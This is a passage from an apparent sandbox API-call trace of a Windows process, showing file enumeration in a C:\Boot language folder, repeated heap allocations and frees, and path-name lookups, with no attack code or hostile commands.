nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.021] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.021] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.021] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.021] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.021] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.021] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.021] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.022] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.023] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.023] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.024] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.024] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.025] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.025] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.026] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.026] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.027] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.028] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.028] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.029] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.029] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.029] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.029] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0117.029] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.029] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 